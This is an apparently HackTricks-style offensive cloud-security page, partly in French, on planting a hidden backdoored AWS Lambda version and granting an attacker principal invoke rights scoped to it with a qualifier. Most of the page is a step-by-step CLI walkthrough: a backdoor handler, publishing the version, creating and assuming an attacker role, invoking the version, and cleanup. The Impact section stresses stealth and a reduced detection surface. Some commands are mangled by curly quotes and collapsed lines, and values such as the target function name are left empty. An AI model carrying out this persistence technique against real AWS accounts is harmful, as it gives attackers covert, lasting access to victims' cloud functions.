AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)

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Résumé

Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the --qualifier parameter in lambda add-permission. Grant only lambda:InvokeFunction on arn:aws:lambda:REGION:ACCT:function:FN:VERSION to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.

Ceci est plus discret que d’exposer un Function URL et ne change pas l’alias principal de trafic.

Permissions requises (attaquant)

lambda:UpdateFunctionCode, lambda:UpdateFunctionConfiguration, lambda:PublishVersion, lambda:GetFunctionConfiguration
lambda:AddPermission (to add version-scoped resource policy)
iam:CreateRole, iam:PutRolePolicy, iam:GetRole, sts:AssumeRole (to simulate an attacker principal)

Étapes d’attaque (CLI)

Publier une version cachée, ajouter une permission limitée par qualifier, invoquer en tant qu'attaquant

```bash # Vars REGION=us-east-1 TARGET_FN=

[Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., “main”) stays on a clean version

aws lambda create-alias –function-name “$TARGET_FN” –name main –function-version –region “$REGION”

1) Build a small backdoor handler and publish as a new version

cat > bdoor.py <<PY import json, os, boto3

def lambda_handler(e, c): ident = boto3.client(sts).get_caller_identity() return {“ht”: True, “who”: ident, “env”: {“fn”: os.getenv(AWS_LAMBDA_FUNCTION_NAME)}} PY zip bdoor.zip bdoor.py aws lambda update-function-code –function-name “$TARGET_FN” –zip-file fileb://bdoor.zip –region $REGION aws lambda update-function-configuration –function-name “$TARGET_FN” –handler bdoor.lambda_handler –region $REGION until [ “$(aws lambda get-function-configuration –function-name “$TARGET_FN” –region $REGION –query LastUpdateStatus –output text)“ = “Successful” ]; do sleep 2; done VER=$(aws lambda publish-version –function-name “$TARGET_FN” –region $REGION –query Version –output text) VER_ARN=$(aws lambda get-function –function-name “$TARGET_FN:$VER” –region $REGION –query Configuration.FunctionArn –output text) echo “Published version: $VER ($VER_ARN)”

2) Create an attacker principal and allow only version invocation (same-account simulation)

ATTACK_ROLE_NAME=ht-version-invoker aws iam create-role –role-name $ATTACK_ROLE_NAME –assume-role-policy-document Version:2012-10-17 >/dev/null cat > /tmp/invoke-policy.json <<POL { “Version”: “2012-10-17”, “Statement”: [{ “Effect”: “Allow”, “Action”: [“lambda:InvokeFunction”], “Resource”: [“$VER_ARN”] }] } POL aws iam put-role-policy –role-name $ATTACK_ROLE_NAME –policy-name ht-invoke-version –policy-document file:///tmp/invoke-policy.json

Add resource-based policy scoped to the version (Qualifier)

aws lambda add-permission
–function-name “$TARGET_FN”
–qualifier “$VER”
–statement-id ht-version-backdoor
–action lambda:InvokeFunction
–principal arn:aws:iam::$(aws sts get-caller-identity –query Account –output text):role/$ATTACK_ROLE_NAME
–region $REGION

3) Assume the attacker role and invoke only the qualified version

ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity –query Account –output text):role/$ATTACK_ROLE_NAME CREDS=$(aws sts assume-role –role-arn “$ATTACK_ROLE_ARN” –role-session-name htInvoke –query Credentials –output json) export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId) export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey) export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken) aws lambda invoke –function-name “$VER_ARN” /tmp/ver-out.json –region $REGION >/dev/null cat /tmp/ver-out.json

4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role

aws lambda remove-permission –function-name “$TARGET_FN” –statement-id ht-version-backdoor –qualifier “$VER” –region $REGION || true

</details>

## Impact

- Fournit une backdoor discrète permettant d'invoquer une version cachée de la fonction sans modifier l'alias principal ni exposer une Function URL.
- Limite l'exposition à la seule version/alias spécifiée via la resource-based policy `Qualifier`, réduisant la surface de détection tout en conservant une invocation fiable pour l'attacker principal.

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